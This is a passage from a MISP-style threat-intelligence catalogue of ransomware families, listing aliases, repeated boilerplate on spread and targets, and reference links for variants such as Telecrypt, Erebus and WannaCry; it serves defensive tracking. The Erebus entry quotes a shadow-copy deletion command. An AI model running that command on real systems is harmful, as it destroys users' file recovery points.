This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="CryptoLuck Ransomware"*

CryptoLuck Ransomware is also known as:

- YafunnLocker

Table 13128. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/cryptoluck-ransomware.html
http://www.bleepingcomputer.com/news/security/cryptoluck-ransomware-being-malvertised-via-rig-e-exploit-kits/
https://twitter.com/malwareforme/status/798258032115322880

Crypton Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Crypton Ransomware"*

Crypton Ransomware is also known as:

- Nemesis
- X3M

Table 13129. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/crypton-ransomware.html
https://decrypter.emsisoft.com/crypton
https://www.bleepingcomputer.com/news/security/crypton-ransomware-is-here-and-its-not-so-bad-/

https://twitter.com/JakubKroustek/status/829353444632825856
https://www.ransomlook.io/group/nemesis

Karma Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. pretends to be a Windows optimization program called Windows-TuneUp

The tag is: *misp-galaxy:ransomware="Karma Ransomware"*

Table 13130. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/karma-ransomware.html
https://www.bleepingcomputer.com/news/security/researcher-finds-the-karma-ransomware-being-distributed-via-pay-per-install-network/
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-18th-2016-crysis-cryptoluck-chip-and-more/

WickedLocker HT Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="WickedLocker HT Ransomware"*

Table 13131. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/wickedlocker-ht-ransomware.html

PClock3 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. CryptoLocker Copycat

The tag is: *misp-galaxy:ransomware="PClock3 Ransomware"*

PClock3 Ransomware is also known as:

- PClock SuppTeam Ransomware
- WinPlock
- CryptoLocker clone

Table 13132. Table References

Links
https://www.bleepingcomputer.com/news/security/old-cryptolocker-copycat-named-pclock-resurfaces-with-new-attacks/
https://id-ransomware.blogspot.co.il/2016/11/suppteam-ransomware-sysras.html
http://researchcenter.paloaltonetworks.com/2015/09/updated-pclock-ransomware-still-comes-up-short/
https://decrypter.emsisoft.com/

Kolobo Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Kolobo Ransomware"*

Kolobo Ransomware is also known as:

- Kolobocheg Ransomware

Table 13133. Table References

Links
https://www.ransomware.wiki/tag/kolobo/
https://id-ransomware.blogspot.co.il/2016/11/kolobo-ransomware.html
https://forum.drweb.com/index.php?showtopic=315142

PaySafeGen (German) Ransomware

This is most likely to affect German speaking users, since the note is written in German. Mostly affects users in German speaking countries. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="PaySafeGen (German) Ransomware"*

PaySafeGen (German) Ransomware is also known as:

- Paysafecard Generator 2016

- PaySafeCard
- PaySafeGen

Table 13134. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/paysafegen-german-ransomware.html
https://twitter.com/JakubKroustek/status/796083768155078656

Telecrypt Ransomware

This is most likely to affect Russian speaking users, since the note is written in Russian. Therefore, residents of Russian speaking country are affected. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransomware's authors would request around $75 from their victims to provide them with a decryptor (payments are accepted via Russian payment services Qiwi or Yandex.Money). Right from the start, however, researchers suggested that TeleCrypt was written by cybercriminals without advanced skills. Telecrypt will generate a random string to encrypt with that is between 10-20 length and only contain the letters vo,pr,bm,xu,zt,dq.

The tag is: *misp-galaxy:ransomware="Telecrypt Ransomware"*

Table 13135. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/telecrypt-ransomware.html
http://www.securityweek.com/telecrypt-ransomwares-encryption-cracked
https://malwarebytes.app.box.com/s/kkxwgzbpwe7oh59xqfwcz97uk0q05kp3
https://blog.malwarebytes.com/threat-analysis/2016/11/telecrypt-the-ransomware-abusing-telegram-api-defeated/
https://securelist.com/blog/research/76558/the-first-cryptor-to-exploit-telegram/

CerberTear Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="CerberTear Ransomware"*

Table 13136. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/cerbertear-ransomware.html

https://www.tripwire.com/state-of-security/security-data-protection/cyber-security/november-2016-month-ransomware/
https://twitter.com/struppigel/status/795630452128227333

FuckSociety Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Hidden Tear >> APT Ransomware + HYPERLINK "https://id-ransomware.blogspot.ru/2016/05/remindme-ransomware-2.html" "_blank" RemindMe > FuckSociety

The tag is: *misp-galaxy:ransomware="FuckSociety Ransomware"*

Table 13137. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/fucksociety-ransomware.html

PayDOS Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Batch file; Passcode: AES1014DW256 or RSA1014DJW2048

The tag is: *misp-galaxy:ransomware="PayDOS Ransomware"*

PayDOS Ransomware is also known as:

- Serpent Ransomware

Table 13138. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/paydos-ransomware-serpent.html
https://www.bleepingcomputer.com/news/security/ransomware-goes-retro-with-paydos-and-serpent-written-as-batch-files/
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-4th-2016-cerber-paydos-alcatraz-locker-and-more/
https://www.proofpoint.com/us/threat-insight/post/new-serpent-ransomware-targets-danish-speakers

zScreenLocker Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="zScreenLocker Ransomware"*

Table 13139. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/zscreenlocker-ransomware.html
https://www.tripwire.com/state-of-security/security-data-protection/cyber-security/november-2016-month-ransomware/
https://twitter.com/struppigel/status/794077145349967872

Gremit Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Gremit Ransomware"*

Table 13140. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/gremit-ransomware.html
https://twitter.com/struppigel/status/794444032286060544
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-4th-2016-cerber-paydos-alcatraz-locker-and-more/

Hollycrypt Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Hollycrypt Ransomware"*

Table 13141. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/hollycrypt-ransomware.html

BTCLocker Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="BTCLocker Ransomware"*

BTCLocker Ransomware is also known as:

- BTC Ransomware

Table 13142. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/btclocker-ransomware.html

Kangaroo Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. From the developer behind the Apocalypse Ransomware, Fabiansomware, and Esmeralda

The tag is: *misp-galaxy:ransomware="Kangaroo Ransomware"*

Table 13143. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/kangaroo-ransomware.html
https://www.bleepingcomputer.com/news/security/the-kangaroo-ransomware-not-only-encrypts-your-data-but-tries-to-lock-you-out-of-windows/

DummyEncrypter Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="DummyEncrypter Ransomware"*

Table 13144. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/dummyencrypter-ransomware.html

Encryptss77 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Encryptss77 Ransomware"*

Encryptss77 Ransomware is also known as:

- SFX Monster Ransomware

Table 13145. Table References

Links
http://virusinfo.info/showthread.php?t=201710
https://id-ransomware.blogspot.co.il/2016/11/encryptss77-ransomware.html

WinRarer Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="WinRarer Ransomware"*

Table 13146. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/winrarer-ransomware.html

Russian Globe Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Russian Globe Ransomware"*

Table 13147. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/russian-globe-ransomware.html

ZeroCrypt Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="ZeroCrypt Ransomware"*

Table 13148. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/zerocrypt-ransomware.html

RotorCrypt(RotoCrypt, Tar) Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="RotorCrypt(RotoCrypt, Tar) Ransomware"*

RotorCrypt(RotoCrypt, Tar) Ransomware is also known as:

- RotorCrypt
- RotoCrypt
- Tar Ransomware

Table 13149. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/rotorcrypt-ransomware.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-12th-2018-notpetya-gandcrab-and-more/
https://twitter.com/demonslay335/status/1050117756094476289

Ishtar Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.

The tag is: *misp-galaxy:ransomware="Ishtar Ransomware"*

Table 13150. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/ishtar-ransomware.html

MasterBuster Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="MasterBuster Ransomware"*

Table 13151. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/masterbuster-ransomware.html
https://twitter.com/struppigel/status/791943837874651136

JackPot Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="JackPot Ransomware"*

JackPot Ransomware is also known as:

- Jack.Pot Ransomware

Table 13152. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/jackpot-ransomware.html
https://twitter.com/struppigel/status/791639214152617985
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-28-2016-locky-angry-duck-and-more/

ONYX Ransomeware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Georgian ransomware

The tag is: *misp-galaxy:ransomware="ONYX Ransomeware"*

Table 13153. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/onyx-ransomware.html
https://twitter.com/struppigel/status/791557636164558848
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-28-2016-locky-angry-duck-and-more/

IFN643 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="IFN643 Ransomware"*

Table 13154. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/ifn643-ransomware.html
https://twitter.com/struppigel/status/791576159960072192
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-28-2016-locky-angry-duck-and-more/

Alcatraz Locker Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Alcatraz Locker Ransomware"*

Table 13155. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/alcatraz-locker-ransomware.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-4th-2016-cerber-paydos-alcatraz-locker-and-more/
https://twitter.com/PolarToffee/status/792796055020642304

Esmeralda Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is

understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Esmeralda Ransomware"*

Table 13156. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/esmeralda-ransomware.html
https://www.bleepingcomputer.com/forums/t/630835/esmeralda-ransomware/

EncrypTile Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="EncrypTile Ransomware"*

Table 13157. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/encryptile-ransomware.html

Fileice Ransomware Survey Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Sample of how the hacker tricks the user using the survey method. https://1.bp.blogspot.com/-72ECd1vsUdE/WBMSzPQEgzI/AAAAAAAABzA/i8V-Kg8Gstcn_7-YZK__PDC2VgafWcfDgCLcB/s1600/survey-screen.png The hacker definatly has a sense of humor: https://1.bp.blogspot.com/-2AlvtcvdyUY/WBMVptG_V5I/AAAAAAAABzc/1KvAMeDmY2w9BN9vkqZO8LWkBu7T9mvDACLcB/s1600/ThxForYurTyme.JPG

The tag is: *misp-galaxy:ransomware="Fileice Ransomware Survey Ransomware"*

Table 13158. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/fileice-ransomware-survey.html
https://www.bleepingcomputer.com/news/security/in-dev-ransomware-forces-you-do-to-survey-before-unlocking-computer/

CryptoWire Ransomeware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="CryptoWire Ransomeware"*

Table 13159. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/cryptowire-ransomware.html
https://twitter.com/struppigel/status/791554654664552448
https://www.bleepingcomputer.com/news/security/-proof-of-concept-cryptowire-ransomware-spawns-lomix-and-ultralocker-families/

Hucky Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on Locky

The tag is: *misp-galaxy:ransomware="Hucky Ransomware"*

Hucky Ransomware is also known as:

- Hungarian Locky Ransomware

Table 13160. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/hucky-ransomware-hungarian-locky.html
https://blog.avast.com/hucky-ransomware-a-hungarian-locky-wannabe
https://twitter.com/struppigel/status/846241982347427840

Winnix Cryptor Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Winnix Cryptor Ransomware"*

Table 13161. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/winnix-cryptor-ransomware.html
https://twitter.com/PolarToffee/status/811940037638111232

AngryDuck Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Demands 10 BTC

The tag is: *misp-galaxy:ransomware="AngryDuck Ransomware"*

Table 13162. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/angryduck-ransomware.html
https://twitter.com/demonslay335/status/790334746488365057

Lock93 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Lock93 Ransomware"*

Table 13163. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/lock93-ransomware.html
https://twitter.com/malwrhunterteam/status/789882488365678592

ASN1 Encoder Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="ASN1 Encoder Ransomware"*

Table 13164. Table References

Links

https://id-ransomware.blogspot.co.il/2016/10/asn1-encoder-ransomware.html
https://malwarebreakdown.com/2017/03/02/rig-ek-at-92-53-105-43-drops-asn1-ransomware/

Click Me Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. The hacker tries to get the user to play a game and when the user clicks the button, there is no game, just 20 pictures in a .gif below: https://3.bp.blogspot.com/-1zgO3-bBazs/WAkPYqXuayI/AAAAAAAABxI/DO3vycRW-TozneSfRTdeKyXGNEtJSMehgCLcB/s1600/all-images.gif

The tag is: *misp-galaxy:ransomware="Click Me Ransomware"*

Table 13165. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/click-me-ransomware.html
https://www.youtube.com/watch?v=Xe30kV4ip8w

AiraCrop Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="AiraCrop Ransomware"*

Table 13166. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/airacrop-ransomware.html

JapanLocker Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Base64 encoding, ROT13, and top-bottom swapping

The tag is: *misp-galaxy:ransomware="JapanLocker Ransomware"*

JapanLocker Ransomware is also known as:

- SHC Ransomware
- SHCLocker
- SyNcryption

Table 13167. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/japanlocker-ransomware.html
https://www.cyber.nj.gov/threat-profiles/ransomware-variants/japanlocker
https://github.com/fortiguard-lion/schRansomwareDecryptor/blob/master/schRansomwarev1_decryptor.php
https://blog.fortinet.com/2016/10/19/japanlocker-an-excavation-to-its-indonesian-roots

Anubis Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. EDA2

The tag is: *misp-galaxy:ransomware="Anubis Ransomware"*

Table 13168. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/anubis-ransomware.html
http://nyxbone.com/malware/Anubis.html

XTPLocker 5.0 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="XTPLocker 5.0 Ransomware"*

Table 13169. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/xtplocker-ransomware.html

Exotic Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam,

fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Also encrypts executables

The tag is: *misp-galaxy:ransomware="Exotic Ransomware"*

Table 13170. Table References

Links
https://www.bleepingcomputer.com/news/security/eviltwins-exotic-ransomware-targets-executable-files/
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-14-2016-exotic-lockydump-comrade-and-more/
https://www.cyber.nj.gov/threat-profiles/ransomware-variants/exotic-ransomware
https://id-ransomware.blogspot.co.il/2016/10/exotic-ransomware.html

APT Ransomware v.2

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. NO POINT TO PAY THE RANSOM, THE FILES ARE COMPLETELY DESTROYED

The tag is: *misp-galaxy:ransomware="APT Ransomware v.2"*

Table 13171. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/apt-ransomware-2.html

Windows_Security Ransonware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Windows_Security Ransonware"*

Windows_Security Ransonware is also known as:

- WS Go Ransonware
- Trojan.Encoder.6491

View relationships graph

Windows_Security Ransonware has relationships with:

- similar: misp-galaxy:ransomware="Encoder.xxxx" with estimative-language:likelihood-probability="likely"

Table 13172. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/ws-go-ransonware.html
https://www.cyber.nj.gov/threat-profiles/ransomware-variants/apt-ransomware-v2

NCrypt Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="NCrypt Ransomware"*

Table 13173. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/ncrypt-ransomware.html

Venis Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. In devVenisRansom@protonmail.com

The tag is: *misp-galaxy:ransomware="Venis Ransomware"*

Table 13174. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/venis-ransomware.html
https://twitter.com/Antelox/status/785849412635521024
http://pastebin.com/HuK99Xmj

Enigma 2 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Enigma 2 Ransomware"*

Table 13175. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/enigma-2-ransomware.html

Deadly Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. sample is set to encrypt only in 2017...

The tag is: *misp-galaxy:ransomware="Deadly Ransomware"*

Deadly Ransomware is also known as:

- Deadly for a Good Purpose Ransomware

Table 13176. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/deadly-ransomware.html
https://twitter.com/malwrhunterteam/status/785533373007728640

Comrade Circle Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Comrade Circle Ransomware"*

Table 13177. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/comrade-circle-ransomware.html

Globe2 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Globe2 Ransomware"*

Globe2 Ransomware is also known as:

- Purge Ransomware

View relationships graph

Globe2 Ransomware has relationships with:

- similar: misp-galaxy:ransomware="Globe3 Ransomware" with estimative-language:likelihood-probability="likely"

Table 13178. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/globe2-ransomware.html
https://success.trendmicro.com/portal_kb_articledetail?solutionid=1114221

Kostya Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Kostya Ransomware"*

Table 13179. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/kostya-ransomware.html
http://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-14-2016-exotic-lockydump-comrade-and-more/

Fs0ciety Locker Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Fs0ciety Locker Ransomware"*

Table 13180. Table References

Links
https://id-ransomware.blogspot.co.il/2016/10/fs0ciety-locker-ransomware.html

Erebus Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email

spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. After the files are decrypted, the shadow files are deleted using the following command: vssadmin.exe Delete Shadows /All /Quiet

The tag is: *misp-galaxy:ransomware="Erebus Ransomware"*

Table 13181. Table References

Links
https://id-ransomware.blogspot.co.il/2016/09/erebus-ransomware.html

WannaCry

According to numerous open-source reports, a widespread ransomware campaign is affecting various organizations with reports of tens of thousands of infections in as many as 74 countries, including the United States, United Kingdom, Spain, Russia, Taiwan, France, and Japan. The software can run in as many as 27 different languages. The latest version of this ransomware variant, known as WannaCry, WCry, or Wanna Decryptor, was discovered the morning of May 12, 2017, by an independent security researcher and has spread rapidly over several hours, with initial reports beginning around 4:00 AM EDT, May 12, 2017. Open-source reporting indicates a requested ransom of .1781 bitcoins, roughly $300 U.S.

The tag is: *misp-galaxy:ransomware="WannaCry"*

WannaCry is also known as:

- WannaCrypt
- WannaCry
- WanaCrypt0r
- WCrypt
- WCRY

View relationships graph

WannaCry has relationships with:

- similar: misp-galaxy:malpedia="WannaCryptor" with estimative-language:likelihood-probability="likely"

